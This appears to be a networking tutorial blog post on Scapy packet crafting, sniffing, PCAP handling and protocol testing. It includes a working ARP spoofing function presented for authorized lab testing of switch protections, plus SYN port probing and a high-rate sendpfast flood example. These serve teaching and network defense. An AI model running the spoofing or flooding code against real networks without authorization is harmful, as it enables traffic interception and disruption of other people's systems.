Scapy Python Network Packet Crafting: Protocol Testing, Attack Simulation, and Deep Network Debugging

Networking tutorial - IT technology blog
Networking tutorial - IT technology blog

Six months ago I dropped Wireshark as my primary debugging tool and switched almost entirely to Scapy. That’s not a knock on Wireshark — it’s still open in another tab right now — but once I saw what Scapy could do that passive capture tools simply can’t, my approach to network troubleshooting changed completely.

Scapy lets you build packets from scratch, send them, capture the responses, and analyze everything in Python. Not just observe — actively construct and inject. The gap between “I can see traffic” and “I can generate any traffic I want” is enormous. Especially when you’re debugging a misbehaving firewall rule, or verifying that a server actually responds correctly to malformed input.

Quick Start — Up and Running in 5 Minutes

Install Scapy inside a virtual environment. Raw socket access requires root or Administrator privileges:

python3 -m venv scapy-env
source scapy-env/bin/activate
pip install scapy

Open the interactive shell to test things fast:

sudo scapy

Send your first ICMP ping and get a response back:

from scapy.all import *

# Build a simple ICMP echo request
packet = IP(dst="8.8.8.8") / ICMP()
response = sr1(packet, timeout=2, verbose=False)

if response:
    print(f"Got reply from {response.src}, TTL={response.ttl}")
else:
    print("No response")

That’s the entire Scapy mental model in three lines: build layers with /, send with sr1() (send + receive 1), inspect the result. Every protocol stack is just layers stacked on each other.

Packet Layers, Sniffing, and PCAP Files

How Layer Stacking Works

Each protocol in Scapy is a class. Stack them with the / operator, and Scapy fills in sensible defaults for any fields you leave unspecified:

from scapy.all import *

# Inspect what fields a layer has
ls(TCP)

# Build Ethernet + IP + TCP + HTTP-like payload
pkt = Ether() / IP(dst="192.168.1.1") / TCP(dport=80, flags="S") / Raw(load="GET / HTTP/1.0\r\n\r\n")

# Show the full packet breakdown
pkt.show()

Running pkt.show() prints every field — checksum, source MAC, sequence numbers, all of it. That single command saved me hours on a project where packets were getting silently corrupted by a NAT device that wasn’t recalculating checksums after rewriting addresses.

Sniffing Live Traffic

Scapy captures packets too, with full Python access to every field:

from scapy.all import sniff, IP, TCP

def analyze_packet(pkt):
    if pkt.haslayer(IP) and pkt.haslayer(TCP):
        src = pkt[IP].src
        dst = pkt[IP].dst
        dport = pkt[TCP].dport
        flags = pkt[TCP].flags
        print(f"{src} -> {dst}:{dport} [{flags}]")

# Capture 20 TCP packets on eth0
sniff(iface="eth0", filter="tcp", prn=analyze_packet, count=20)

BPF filter syntax matches tcpdump exactly — if you’ve written tcpdump filters before, they work here without changes. The real difference is the callback. Full Python means you can write matched packets to a database, trigger alerts, modify and re-inject, or chain into any other tool your workflow uses.

Reading and Writing PCAP Files

from scapy.all import rdpcap, wrpcap

# Load an existing capture
packets = rdpcap("capture.pcap")

# Inspect specific packets
for pkt in packets:
    if pkt.haslayer("DNS"):
        print(pkt["DNS"].qd.qname)

# Write filtered packets to a new file
dns_packets = [p for p in packets if p.haslayer("DNS")]
wrpcap("dns_only.pcap", dns_packets)

Advanced Usage — Protocol Testing and Network Simulation

TCP Handshake Testing

One of my most-used scripts tests whether a specific port is open and measures the exact SYN/SYN-ACK round-trip time. Ping tells you the host is reachable. This tells you whether the service is actually responding — and how fast:

from scapy.all import *
import time

def test_tcp_port(host, port):
    syn = IP(dst=host) / TCP(dport=port, sport=RandShort(), flags="S", seq=1000)
    
    start = time.time()
    response = sr1(syn, timeout=3, verbose=False)
    elapsed = (time.time() - start) * 1000
    
    if response is None:
        return f"{host}:{port} — no response (filtered)"
    
    tcp_resp = response[TCP]
    if tcp_resp.flags == 0x12:  # SYN-ACK
        return f"{host}:{port} — OPEN, RTT={elapsed:.1f}ms"
    elif tcp_resp.flags == 0x14:  # RST-ACK
        return f"{host}:{port} — CLOSED"
    else:
        return f"{host}:{port} — unexpected flags: {tcp_resp.flags}"

print(test_tcp_port("192.168.1.1", 22))
print(test_tcp_port("192.168.1.1", 443))

ARP Spoofing for Lab Testing

ARP spoofing is one of the most useful things to reproduce in a controlled lab when testing network segmentation. If you understand exactly what the attack looks like at the packet level, verifying that your switches actually block it becomes straightforward. Run this only in isolated environments where you have explicit authorization:

from scapy.all import Ether, ARP, sendp
import time

def arp_spoof(target_ip, spoof_ip, iface="eth0"):
    """
    Send gratuitous ARP to target, claiming we are spoof_ip.
    Lab use only — requires authorization.
    """
    # Get target's MAC address first
    target_mac = getmacbyip(target_ip)
    if not target_mac:
        print(f"Could not resolve MAC for {target_ip}")
        return
    
    # Build the ARP reply
    pkt = Ether(dst=target_mac) / ARP(
        op=2,          # ARP reply
        pdst=target_ip,
        hwdst=target_mac,
        psrc=spoof_ip  # Claim to be this IP
    )
    
    print(f"Sending spoofed ARP: {spoof_ip} is at our MAC -> {target_ip}")
    sendp(pkt, iface=iface, verbose=False)

# Example: test if 192.168.1.2 accepts spoofed ARP from gateway IP
arp_spoof("192.168.1.2", "192.168.1.1")

After sending, check the ARP table on the target with arp -n. If Dynamic ARP Inspection is properly configured on your switch, the packet gets dropped before it arrives. If the target’s ARP table actually changed — you have a gap worth fixing before someone else finds it.

DNS Query Fuzzing

Standard DNS clients give you no control over what goes in the query wire format. Scapy does:

from scapy.all import IP, UDP, DNS, DNSQR, sr1

def dns_query(server, name, qtype="A"):
    query = IP(dst=server) / UDP(dport=53) / DNS(
        rd=1,
        qd=DNSQR(qname=name, qtype=qtype)
    )
    resp = sr1(query, timeout=3, verbose=False)
    
    if resp and resp.haslayer(DNS):
        dns = resp[DNS]
        print(f"Response code: {dns.rcode}")
        if dns.ancount > 0:
            for i in range(dns.ancount):
                print(f"  Answer: {dns.an[i].rdata}")
    else:
        print("No DNS response received")

dns_query("8.8.8.8", "example.com")
dns_query("8.8.8.8", "example.com", qtype="MX")

Practical Tips from Six Months of Daily Use

Always Set verbose=False in Scripts

The default output is fine interactively. In automated scripts it floods your logs. Add verbose=False to every send(), sr1(), and srp() call outside the interactive shell.

Use conf.iface for Default Interface

from scapy.all import conf

# Set once at the top of your script
conf.iface = "eth0"

# All subsequent sends will use this interface automatically

Parallel Sending with sendpfast()

For load testing, sendpfast() uses tcpreplay under the hood. It’s significantly faster than looping send() — the difference matters when you’re trying to saturate a link or stress-test a firewall’s packet processing:

from scapy.all import sendpfast, IP, ICMP

packets = [IP(dst=f"192.168.1.{i}") / ICMP() for i in range(1, 255)]
sendpfast(packets, mbps=10, loop=2, iface="eth0")

Filtering with BPF vs Python

BPF filters (filter= argument) run at the kernel level before packets even reach Python. Use them for anything performance-critical. Save Python-side filtering for logic BPF can’t express — payload content matching, stateful analysis across multiple packets, that sort of thing.

Watch Your Checksums

Scapy recalculates checksums automatically when sending fresh packets. But if you’re loading from a PCAP and replaying, delete the checksum fields explicitly to force recalculation:

del pkt[IP].chksum
del pkt[TCP].chksum
# Scapy will recalculate on next access or send

Skipping this cost me an afternoon. I was chasing what looked like a broken firewall — it was correctly dropping packets with invalid checksums from my replay script.

Run Inside tmux or screen

Long captures and flood tests belong in a detached session. A dropped SSH connection mid-test corrupts PCAP files and leaves raw sockets open. I always attach to tmux new -s scapy-test before starting anything that runs longer than a minute.

After six months, the shift in how I approach network problems has been real. When something behaves unexpectedly, I no longer try to trigger the right conditions through application-layer changes and hope the right packets appear. I just build the packet I want and send it. That’s the difference — you stop chasing symptoms and go straight to cause.

Share: